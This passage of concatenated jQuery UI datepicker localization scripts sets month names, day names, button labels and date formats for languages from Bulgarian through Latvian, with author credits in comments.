['Не','По','Вт','Ср','Че','Пе','Съ'], weekHeader: 'Wk', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['bg']); }); /* Bosnian i18n for the jQuery UI date picker plugin. */ /* Written by Kenan Konjo. */ jQuery(function($){ $.datepicker.regional['bs'] = { closeText: 'Zatvori', prevText: '<', nextText: '>', currentText: 'Danas', monthNames: ['Januar','Februar','Mart','April','Maj','Juni', 'Juli','August','Septembar','Oktobar','Novembar','Decembar'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Aug','Sep','Okt','Nov','Dec'], dayNames: ['Nedelja','Ponedeljak','Utorak','Srijeda','Četvrtak','Petak','Subota'], dayNamesShort: ['Ned','Pon','Uto','Sri','Čet','Pet','Sub'], dayNamesMin: ['Ne','Po','Ut','Sr','Če','Pe','Su'], weekHeader: 'Wk', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['bs']); });/* Inicialització en català per a l'extenció 'calendar' per jQuery. */ /* Writers: (joan.leon@gmail.com). */ jQuery(function($){ $.datepicker.regional['ca'] = { closeText: 'Tancar', prevText: '<Ant', nextText: 'Seg>', currentText: 'Avui', monthNames: ['Gener','Febrer','Març','Abril','Maig','Juny', 'Juliol','Agost','Setembre','Octubre','Novembre','Desembre'], monthNamesShort: ['Gen','Feb','Mar','Abr','Mai','Jun', 'Jul','Ago','Set','Oct','Nov','Des'], dayNames: ['Diumenge','Dilluns','Dimarts','Dimecres','Dijous','Divendres','Dissabte'], dayNamesShort: ['Dug','Dln','Dmt','Dmc','Djs','Dvn','Dsb'], dayNamesMin: ['Dg','Dl','Dt','Dc','Dj','Dv','Ds'], weekHeader: 'Sm', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ca']); });/* Czech initialisation for the jQuery UI date picker plugin. */ /* Written by Tomas Muller (tomas@tomas-muller.net). */ jQuery(function($){ $.datepicker.regional['cs'] = { closeText: 'Zavřít', prevText: '<Dříve', nextText: 'Později>', currentText: 'Nyní', monthNames: ['leden','únor','březen','duben','květen','červen', 'červenec','srpen','září','říjen','listopad','prosinec'], monthNamesShort: ['led','úno','bře','dub','kvě','čer', 'čvc','srp','zář','říj','lis','pro'], dayNames: ['neděle', 'pondělí', 'úterý', 'středa', 'čtvrtek', 'pátek', 'sobota'], dayNamesShort: ['ne', 'po', 'út', 'st', 'čt', 'pá', 'so'], dayNamesMin: ['ne','po','út','st','čt','pá','so'], weekHeader: 'Týd', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['cs']); }); /* Danish initialisation for the jQuery UI date picker plugin. */ /* Written by Jan Christensen ( deletestuff@gmail.com). */ jQuery(function($){ $.datepicker.regional['da'] = { closeText: 'Luk', prevText: '<Forrige', nextText: 'Næste>', currentText: 'Idag', monthNames: ['Januar','Februar','Marts','April','Maj','Juni', 'Juli','August','September','Oktober','November','December'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Aug','Sep','Okt','Nov','Dec'], dayNames: ['Søndag','Mandag','Tirsdag','Onsdag','Torsdag','Fredag','Lørdag'], dayNamesShort: ['Søn','Man','Tir','Ons','Tor','Fre','Lør'], dayNamesMin: ['Sø','Ma','Ti','On','To','Fr','Lø'], weekHeader: 'Uge', dateFormat: 'dd-mm-yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['da']); }); /* German initialisation for the jQuery UI date picker plugin. */ /* Written by Milian Wolff (mail@milianw.de). */ jQuery(function($){ $.datepicker.regional['de'] = { closeText: 'schließen', prevText: '<zurück', nextText: 'Vor>', currentText: 'heute', monthNames: ['Januar','Februar','März','April','Mai','Juni', 'Juli','August','September','Oktober','November','Dezember'], monthNamesShort: ['Jan','Feb','Mär','Apr','Mai','Jun', 'Jul','Aug','Sep','Okt','Nov','Dez'], dayNames: ['Sonntag','Montag','Dienstag','Mittwoch','Donnerstag','Freitag','Samstag'], dayNamesShort: ['So','Mo','Di','Mi','Do','Fr','Sa'], dayNamesMin: ['So','Mo','Di','Mi','Do','Fr','Sa'], weekHeader: 'Wo', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['de']); }); /* Greek (el) initialisation for the jQuery UI date picker plugin. */ /* Written by Alex Cicovic (http://www.alexcicovic.com) */ jQuery(function($){ $.datepicker.regional['el'] = { closeText: 'Κλείσιμο', prevText: 'Προηγούμενος', nextText: 'Επόμενος', currentText: 'Τρέχων Μήνας', monthNames: ['Ιανουάριος','Φεβρουάριος','Μάρτιος','Απρίλιος','Μάιος','Ιούνιος', 'Ιούλιος','Αύγουστος','Σεπτέμβριος','Οκτώβριος','Νοέμβριος','Δεκέμβριος'], monthNamesShort: ['Ιαν','Φεβ','Μαρ','Απρ','Μαι','Ιουν', 'Ιουλ','Αυγ','Σεπ','Οκτ','Νοε','Δεκ'], dayNames: ['Κυριακή','Δευτέρα','Τρίτη','Τετάρτη','Πέμπτη','Παρασκευή','Σάββατο'], dayNamesShort: ['Κυρ','Δευ','Τρι','Τετ','Πεμ','Παρ','Σαβ'], dayNamesMin: ['Κυ','Δε','Τρ','Τε','Πε','Πα','Σα'], weekHeader: 'Εβδ', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['el']); });/* English/Australia initialisation for the jQuery UI date picker plugin. */ /* Based on the en-GB initialisation. */ jQuery(function($){ $.datepicker.regional['en-AU'] = { closeText: 'Done', prevText: 'Prev', nextText: 'Next', currentText: 'Today', monthNames: ['January','February','March','April','May','June', 'July','August','September','October','November','December'], monthNamesShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], dayNames: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], dayNamesShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'], dayNamesMin: ['Su','Mo','Tu','We','Th','Fr','Sa'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['en-AU']); }); /* English/UK initialisation for the jQuery UI date picker plugin. */ /* Written by Stuart. */ jQuery(function($){ $.datepicker.regional['en-GB'] = { closeText: 'Done', prevText: 'Prev', nextText: 'Next', currentText: 'Today', monthNames: ['January','February','March','April','May','June', 'July','August','September','October','November','December'], monthNamesShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], dayNames: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], dayNamesShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'], dayNamesMin: ['Su','Mo','Tu','We','Th','Fr','Sa'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['en-GB']); }); /* English/New Zealand initialisation for the jQuery UI date picker plugin. */ /* Based on the en-GB initialisation. */ jQuery(function($){ $.datepicker.regional['en-NZ'] = { closeText: 'Done', prevText: 'Prev', nextText: 'Next', currentText: 'Today', monthNames: ['January','February','March','April','May','June', 'July','August','September','October','November','December'], monthNamesShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], dayNames: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], dayNamesShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'], dayNamesMin: ['Su','Mo','Tu','We','Th','Fr','Sa'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['en-NZ']); }); /* Esperanto initialisation for the jQuery UI date picker plugin. */ /* Written by Olivier M. (olivierweb@ifrance.com). */ jQuery(function($){ $.datepicker.regional['eo'] = { closeText: 'Fermi', prevText: '<Anta', nextText: 'Sekv>', currentText: 'Nuna', monthNames: ['Januaro','Februaro','Marto','Aprilo','Majo','Junio', 'Julio','Aŭgusto','Septembro','Oktobro','Novembro','Decembro'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Aŭg','Sep','Okt','Nov','Dec'], dayNames: ['Dimanĉo','Lundo','Mardo','Merkredo','Ĵaŭdo','Vendredo','Sabato'], dayNamesShort: ['Dim','Lun','Mar','Mer','Ĵaŭ','Ven','Sab'], dayNamesMin: ['Di','Lu','Ma','Me','Ĵa','Ve','Sa'], weekHeader: 'Sb', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['eo']); }); /* Inicialización en español para la extensión 'UI date picker' para jQuery. */ /* Traducido por Vester (xvester@gmail.com). */ jQuery(function($){ $.datepicker.regional['es'] = { closeText: 'Cerrar', prevText: '<Ant', nextText: 'Sig>', currentText: 'Hoy', monthNames: ['Enero','Febrero','Marzo','Abril','Mayo','Junio', 'Julio','Agosto','Septiembre','Octubre','Noviembre','Diciembre'], monthNamesShort: ['Ene','Feb','Mar','Abr','May','Jun', 'Jul','Ago','Sep','Oct','Nov','Dic'], dayNames: ['Domingo','Lunes','Martes','Miércoles','Jueves','Viernes','Sábado'], dayNamesShort: ['Dom','Lun','Mar','Mié','Juv','Vie','Sáb'], dayNamesMin: ['Do','Lu','Ma','Mi','Ju','Vi','Sá'], weekHeader: 'Sm', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['es']); });/* Estonian initialisation for the jQuery UI date picker plugin. */ /* Written by Mart Sõmermaa (mrts.pydev at gmail com). */ jQuery(function($){ $.datepicker.regional['et'] = { closeText: 'Sulge', prevText: 'Eelnev', nextText: 'Järgnev', currentText: 'Täna', monthNames: ['Jaanuar','Veebruar','Märts','Aprill','Mai','Juuni', 'Juuli','August','September','Oktoober','November','Detsember'], monthNamesShort: ['Jaan', 'Veebr', 'Märts', 'Apr', 'Mai', 'Juuni', 'Juuli', 'Aug', 'Sept', 'Okt', 'Nov', 'Dets'], dayNames: ['Pühapäev', 'Esmaspäev', 'Teisipäev', 'Kolmapäev', 'Neljapäev', 'Reede', 'Laupäev'], dayNamesShort: ['Pühap', 'Esmasp', 'Teisip', 'Kolmap', 'Neljap', 'Reede', 'Laup'], dayNamesMin: ['P','E','T','K','N','R','L'], weekHeader: 'Sm', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['et']); }); /* Euskarako oinarria 'UI date picker' jquery-ko extentsioarentzat */ /* Karrikas-ek itzulia (karrikas@karrikas.com) */ jQuery(function($){ $.datepicker.regional['eu'] = { closeText: 'Egina', prevText: '<Aur', nextText: 'Hur>', currentText: 'Gaur', monthNames: ['Urtarrila','Otsaila','Martxoa','Apirila','Maiatza','Ekaina', 'Uztaila','Abuztua','Iraila','Urria','Azaroa','Abendua'], monthNamesShort: ['Urt','Ots','Mar','Api','Mai','Eka', 'Uzt','Abu','Ira','Urr','Aza','Abe'], dayNames: ['Igandea','Astelehena','Asteartea','Asteazkena','Osteguna','Ostirala','Larunbata'], dayNamesShort: ['Iga','Ast','Ast','Ast','Ost','Ost','Lar'], dayNamesMin: ['Ig','As','As','As','Os','Os','La'], weekHeader: 'Wk', dateFormat: 'yy/mm/dd', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['eu']); });/* Persian (Farsi) Translation for the jQuery UI date picker plugin. */ /* Javad Mowlanezhad -- jmowla@gmail.com */ /* Jalali calendar should supported soon! (Its implemented but I have to test it) */ jQuery(function($) { $.datepicker.regional['fa'] = { closeText: 'بستن', prevText: '<قبلي', nextText: 'بعدي>', currentText: 'امروز', monthNames: ['فروردين','ارديبهشت','خرداد','تير','مرداد','شهريور', 'مهر','آبان','آذر','دي','بهمن','اسفند'], monthNamesShort: ['1','2','3','4','5','6','7','8','9','10','11','12'], dayNames: ['يکشنبه','دوشنبه','سه‌شنبه','چهارشنبه','پنجشنبه','جمعه','شنبه'], dayNamesShort: ['ي','د','س','چ','پ','ج', 'ش'], dayNamesMin: ['ي','د','س','چ','پ','ج', 'ش'], weekHeader: 'هف', dateFormat: 'yy/mm/dd', firstDay: 6, isRTL: true, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['fa']); });/* Finnish initialisation for the jQuery UI date picker plugin. */ /* Written by Harri Kilpi� (harrikilpio@gmail.com). */ jQuery(function($){ $.datepicker.regional['fi'] = { closeText: 'Sulje', prevText: '«Edellinen', nextText: 'Seuraava»', currentText: 'Tänään', monthNames: ['Tammikuu','Helmikuu','Maaliskuu','Huhtikuu','Toukokuu','Kesäkuu', 'Heinäkuu','Elokuu','Syyskuu','Lokakuu','Marraskuu','Joulukuu'], monthNamesShort: ['Tammi','Helmi','Maalis','Huhti','Touko','Kesä', 'Heinä','Elo','Syys','Loka','Marras','Joulu'], dayNamesShort: ['Su','Ma','Ti','Ke','To','Pe','Su'], dayNames: ['Sunnuntai','Maanantai','Tiistai','Keskiviikko','Torstai','Perjantai','Lauantai'], dayNamesMin: ['Su','Ma','Ti','Ke','To','Pe','La'], weekHeader: 'Vk', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['fi']); }); /* Faroese initialisation for the jQuery UI date picker plugin */ /* Written by Sverri Mohr Olsen, sverrimo@gmail.com */ jQuery(function($){ $.datepicker.regional['fo'] = { closeText: 'Lat aftur', prevText: '<Fyrra', nextText: 'Næsta>', currentText: 'Í dag', monthNames: ['Januar','Februar','Mars','Apríl','Mei','Juni', 'Juli','August','September','Oktober','November','Desember'], monthNamesShort: ['Jan','Feb','Mar','Apr','Mei','Jun', 'Jul','Aug','Sep','Okt','Nov','Des'], dayNames: ['Sunnudagur','Mánadagur','Týsdagur','Mikudagur','Hósdagur','Fríggjadagur','Leyardagur'], dayNamesShort: ['Sun','Mán','Týs','Mik','Hós','Frí','Ley'], dayNamesMin: ['Su','Má','Tý','Mi','Hó','Fr','Le'], weekHeader: 'Vk', dateFormat: 'dd-mm-yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['fo']); }); /* Swiss-French initialisation for the jQuery UI date picker plugin. */ /* Written Martin Voelkle (martin.voelkle@e-tc.ch). */ jQuery(function($){ $.datepicker.regional['fr-CH'] = { closeText: 'Fermer', prevText: '<Préc', nextText: 'Suiv>', currentText: 'Courant', monthNames: ['Janvier','Février','Mars','Avril','Mai','Juin', 'Juillet','Août','Septembre','Octobre','Novembre','Décembre'], monthNamesShort: ['Jan','Fév','Mar','Avr','Mai','Jun', 'Jul','Aoû','Sep','Oct','Nov','Déc'], dayNames: ['Dimanche','Lundi','Mardi','Mercredi','Jeudi','Vendredi','Samedi'], dayNamesShort: ['Dim','Lun','Mar','Mer','Jeu','Ven','Sam'], dayNamesMin: ['Di','Lu','Ma','Me','Je','Ve','Sa'], weekHeader: 'Sm', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['fr-CH']); });/* French initialisation for the jQuery UI date picker plugin. */ /* Written by Keith Wood (kbwood{at}iinet.com.au), Stéphane Nahmani (sholby@sholby.net), Stéphane Raimbault */ jQuery(function($){ $.datepicker.regional['fr'] = { closeText: 'Fermer', prevText: 'Précédent', nextText: 'Suivant', currentText: 'Aujourd\'hui', monthNames: ['Janvier','Février','Mars','Avril','Mai','Juin', 'Juillet','Août','Septembre','Octobre','Novembre','Décembre'], monthNamesShort: ['Janv.','Févr.','Mars','Avril','Mai','Juin', 'Juil.','Août','Sept.','Oct.','Nov.','Déc.'], dayNames: ['Dimanche','Lundi','Mardi','Mercredi','Jeudi','Vendredi','Samedi'], dayNamesShort: ['Dim.','Lun.','Mar.','Mer.','Jeu.','Ven.','Sam.'], dayNamesMin: ['D','L','M','M','J','V','S'], weekHeader: 'Sem.', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['fr']); }); /* Galician localization for 'UI date picker' jQuery extension. */ /* Translated by Jorge Barreiro . */ jQuery(function($){ $.datepicker.regional['gl'] = { closeText: 'Pechar', prevText: '<Ant', nextText: 'Seg>', currentText: 'Hoxe', monthNames: ['Xaneiro','Febreiro','Marzo','Abril','Maio','Xuño', 'Xullo','Agosto','Setembro','Outubro','Novembro','Decembro'], monthNamesShort: ['Xan','Feb','Mar','Abr','Mai','Xuñ', 'Xul','Ago','Set','Out','Nov','Dec'], dayNames: ['Domingo','Luns','Martes','Mércores','Xoves','Venres','Sábado'], dayNamesShort: ['Dom','Lun','Mar','Mér','Xov','Ven','Sáb'], dayNamesMin: ['Do','Lu','Ma','Mé','Xo','Ve','Sá'], weekHeader: 'Sm', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['gl']); });/* Hebrew initialisation for the UI Datepicker extension. */ /* Written by Amir Hardon (ahardon at gmail dot com). */ jQuery(function($){ $.datepicker.regional['he'] = { closeText: 'סגור', prevText: '<הקודם', nextText: 'הבא>', currentText: 'היום', monthNames: ['ינואר','פברואר','מרץ','אפריל','מאי','יוני', 'יולי','אוגוסט','ספטמבר','אוקטובר','נובמבר','דצמבר'], monthNamesShort: ['1','2','3','4','5','6', '7','8','9','10','11','12'], dayNames: ['ראשון','שני','שלישי','רביעי','חמישי','שישי','שבת'], dayNamesShort: ['א\'','ב\'','ג\'','ד\'','ה\'','ו\'','שבת'], dayNamesMin: ['א\'','ב\'','ג\'','ד\'','ה\'','ו\'','שבת'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: true, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['he']); }); /* Croatian i18n for the jQuery UI date picker plugin. */ /* Written by Vjekoslav Nesek. */ jQuery(function($){ $.datepicker.regional['hr'] = { closeText: 'Zatvori', prevText: '<', nextText: '>', currentText: 'Danas', monthNames: ['Siječanj','Veljača','Ožujak','Travanj','Svibanj','Lipanj', 'Srpanj','Kolovoz','Rujan','Listopad','Studeni','Prosinac'], monthNamesShort: ['Sij','Velj','Ožu','Tra','Svi','Lip', 'Srp','Kol','Ruj','Lis','Stu','Pro'], dayNames: ['Nedjelja','Ponedjeljak','Utorak','Srijeda','Četvrtak','Petak','Subota'], dayNamesShort: ['Ned','Pon','Uto','Sri','Čet','Pet','Sub'], dayNamesMin: ['Ne','Po','Ut','Sr','Če','Pe','Su'], weekHeader: 'Tje', dateFormat: 'dd.mm.yy.', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['hr']); });/* Hungarian initialisation for the jQuery UI date picker plugin. */ /* Written by Istvan Karaszi (jquery@spam.raszi.hu). */ jQuery(function($){ $.datepicker.regional['hu'] = { closeText: 'bezárás', prevText: '« vissza', nextText: 'előre »', currentText: 'ma', monthNames: ['Január', 'Február', 'Március', 'Április', 'Május', 'Június', 'Július', 'Augusztus', 'Szeptember', 'Október', 'November', 'December'], monthNamesShort: ['Jan', 'Feb', 'Már', 'Ápr', 'Máj', 'Jún', 'Júl', 'Aug', 'Szep', 'Okt', 'Nov', 'Dec'], dayNames: ['Vasárnap', 'Hétfö', 'Kedd', 'Szerda', 'Csütörtök', 'Péntek', 'Szombat'], dayNamesShort: ['Vas', 'Hét', 'Ked', 'Sze', 'Csü', 'Pén', 'Szo'], dayNamesMin: ['V', 'H', 'K', 'Sze', 'Cs', 'P', 'Szo'], weekHeader: 'Hé', dateFormat: 'yy-mm-dd', firstDay: 1, isRTL: false, showMonthAfterYear: true, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['hu']); }); /* Armenian(UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Levon Zakaryan (levon.zakaryan@gmail.com)*/ jQuery(function($){ $.datepicker.regional['hy'] = { closeText: 'Փակել', prevText: '<Նախ.', nextText: 'Հաջ.>', currentText: 'Այսօր', monthNames: ['Հունվար','Փետրվար','Մարտ','Ապրիլ','Մայիս','Հունիս', 'Հուլիս','Օգոստոս','Սեպտեմբեր','Հոկտեմբեր','Նոյեմբեր','Դեկտեմբեր'], monthNamesShort: ['Հունվ','Փետր','Մարտ','Ապր','Մայիս','Հունիս', 'Հուլ','Օգս','Սեպ','Հոկ','Նոյ','Դեկ'], dayNames: ['կիրակի','եկուշաբթի','երեքշաբթի','չորեքշաբթի','հինգշաբթի','ուրբաթ','շաբաթ'], dayNamesShort: ['կիր','երկ','երք','չրք','հնգ','ուրբ','շբթ'], dayNamesMin: ['կիր','երկ','երք','չրք','հնգ','ուրբ','շբթ'], weekHeader: 'ՇԲՏ', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['hy']); });/* Indonesian initialisation for the jQuery UI date picker plugin. */ /* Written by Deden Fathurahman (dedenf@gmail.com). */ jQuery(function($){ $.datepicker.regional['id'] = { closeText: 'Tutup', prevText: '<mundur', nextText: 'maju>', currentText: 'hari ini', monthNames: ['Januari','Februari','Maret','April','Mei','Juni', 'Juli','Agustus','September','Oktober','Nopember','Desember'], monthNamesShort: ['Jan','Feb','Mar','Apr','Mei','Jun', 'Jul','Agus','Sep','Okt','Nop','Des'], dayNames: ['Minggu','Senin','Selasa','Rabu','Kamis','Jumat','Sabtu'], dayNamesShort: ['Min','Sen','Sel','Rab','kam','Jum','Sab'], dayNamesMin: ['Mg','Sn','Sl','Rb','Km','jm','Sb'], weekHeader: 'Mg', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['id']); });/* Icelandic initialisation for the jQuery UI date picker plugin. */ /* Written by Haukur H. Thorsson (haukur@eskill.is). */ jQuery(function($){ $.datepicker.regional['is'] = { closeText: 'Loka', prevText: '< Fyrri', nextText: 'Næsti >', currentText: 'Í dag', monthNames: ['Janúar','Febrúar','Mars','Apríl','Maí','Júní', 'Júlí','Ágúst','September','Október','Nóvember','Desember'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maí','Jún', 'Júl','Ágú','Sep','Okt','Nóv','Des'], dayNames: ['Sunnudagur','Mánudagur','Þriðjudagur','Miðvikudagur','Fimmtudagur','Föstudagur','Laugardagur'], dayNamesShort: ['Sun','Mán','Þri','Mið','Fim','Fös','Lau'], dayNamesMin: ['Su','Má','Þr','Mi','Fi','Fö','La'], weekHeader: 'Vika', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['is']); });/* Italian initialisation for the jQuery UI date picker plugin. */ /* Written by Antonello Pasella (antonello.pasella@gmail.com). */ jQuery(function($){ $.datepicker.regional['it'] = { closeText: 'Chiudi', prevText: '<Prec', nextText: 'Succ>', currentText: 'Oggi', monthNames: ['Gennaio','Febbraio','Marzo','Aprile','Maggio','Giugno', 'Luglio','Agosto','Settembre','Ottobre','Novembre','Dicembre'], monthNamesShort: ['Gen','Feb','Mar','Apr','Mag','Giu', 'Lug','Ago','Set','Ott','Nov','Dic'], dayNames: ['Domenica','Lunedì','Martedì','Mercoledì','Giovedì','Venerdì','Sabato'], dayNamesShort: ['Dom','Lun','Mar','Mer','Gio','Ven','Sab'], dayNamesMin: ['Do','Lu','Ma','Me','Gi','Ve','Sa'], weekHeader: 'Sm', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['it']); }); /* Japanese initialisation for the jQuery UI date picker plugin. */ /* Written by Kentaro SATO (kentaro@ranvis.com). */ jQuery(function($){ $.datepicker.regional['ja'] = { closeText: '閉じる', prevText: '<前', nextText: '次>', currentText: '今日', monthNames: ['1月','2月','3月','4月','5月','6月', '7月','8月','9月','10月','11月','12月'], monthNamesShort: ['1月','2月','3月','4月','5月','6月', '7月','8月','9月','10月','11月','12月'], dayNames: ['日曜日','月曜日','火曜日','水曜日','木曜日','金曜日','土曜日'], dayNamesShort: ['日','月','火','水','木','金','土'], dayNamesMin: ['日','月','火','水','木','金','土'], weekHeader: '週', dateFormat: 'yy/mm/dd', firstDay: 0, isRTL: false, showMonthAfterYear: true, yearSuffix: '年'}; $.datepicker.setDefaults($.datepicker.regional['ja']); });/* Korean initialisation for the jQuery calendar extension. */ /* Written by DaeKwon Kang (ncrash.dk@gmail.com). */ jQuery(function($){ $.datepicker.regional['ko'] = { closeText: '닫기', prevText: '이전달', nextText: '다음달', currentText: '오늘', monthNames: ['1월(JAN)','2월(FEB)','3월(MAR)','4월(APR)','5월(MAY)','6월(JUN)', '7월(JUL)','8월(AUG)','9월(SEP)','10월(OCT)','11월(NOV)','12월(DEC)'], monthNamesShort: ['1월(JAN)','2월(FEB)','3월(MAR)','4월(APR)','5월(MAY)','6월(JUN)', '7월(JUL)','8월(AUG)','9월(SEP)','10월(OCT)','11월(NOV)','12월(DEC)'], dayNames: ['일','월','화','수','목','금','토'], dayNamesShort: ['일','월','화','수','목','금','토'], dayNamesMin: ['일','월','화','수','목','금','토'], weekHeader: 'Wk', dateFormat: 'yy-mm-dd', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: '년'}; $.datepicker.setDefaults($.datepicker.regional['ko']); });/* Kazakh (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Dmitriy Karasyov (dmitriy.karasyov@gmail.com). */ jQuery(function($){ $.datepicker.regional['kz'] = { closeText: 'Жабу', prevText: '<Алдыңғы', nextText: 'Келесі>', currentText: 'Бүгін', monthNames: ['Қаңтар','Ақпан','Наурыз','Сәуір','Мамыр','Маусым', 'Шілде','Тамыз','Қыркүйек','Қазан','Қараша','Желтоқсан'], monthNamesShort: ['Қаң','Ақп','Нау','Сәу','Мам','Мау', 'Шіл','Там','Қыр','Қаз','Қар','Жел'], dayNames: ['Жексенбі','Дүйсенбі','Сейсенбі','Сәрсенбі','Бейсенбі','Жұма','Сенбі'], dayNamesShort: ['жкс','дсн','ссн','срс','бсн','жма','снб'], dayNamesMin: ['Жк','Дс','Сс','Ср','Бс','Жм','Сн'], weekHeader: 'Не', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['kz']); }); /* Lithuanian (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* @author Arturas Paleicikas */ jQuery(function($){ $.datepicker.regional['lt'] = { closeText: 'Uždaryti', prevText: '<Atgal', nextText: 'Pirmyn>', currentText: 'Šiandien', monthNames: ['Sausis','Vasaris','Kovas','Balandis','Gegužė','Birželis', 'Liepa','Rugpjūtis','Rugsėjis','Spalis','Lapkritis','Gruodis'], monthNamesShort: ['Sau','Vas','Kov','Bal','Geg','Bir', 'Lie','Rugp','Rugs','Spa','Lap','Gru'], dayNames: ['sekmadienis','pirmadienis','antradienis','trečiadienis','ketvirtadienis','penktadienis','šeštadienis'], dayNamesShort: ['sek','pir','ant','tre','ket','pen','šeš'], dayNamesMin: ['Se','Pr','An','Tr','Ke','Pe','Še'], weekHeader: 'Wk', dateFormat: 'yy-mm-dd', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['lt']); });/* Latvian (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* @author Arturas Paleicikas */ jQuery(function($){ $.datepicker.regional['lv'] = { closeText: 'Aizvērt', prevText: 'Iepr', nextText: 'Nāka', currentText: 'Šodien', monthNames: ['Janvāris','Februāris','Marts','Aprīlis','Maijs','Jūnijs', 'Jūlijs','Augusts','Septembris','Oktobris','Novembris','Decembris'], monthNamesShort: ['Jan','Feb','Mar','Apr','Mai','Jūn', 'Jūl','Aug','Sep','Okt','Nov','Dec'], dayNames: ['svētdiena','pirmdiena','otrdiena','trešdiena','ceturtdiena','piektdiena','sestdiena'], dayNamesShort: ['svt','prm','otr','tre','ctr','pkt','sst'], dayNamesMin: ['Sv','Pr','Ot','Tr','Ct','Pk','Ss'], weekHeader: 'Nav', dateFormat: 'dd-mm-yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['lv']); });/* Malayalam (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Saji 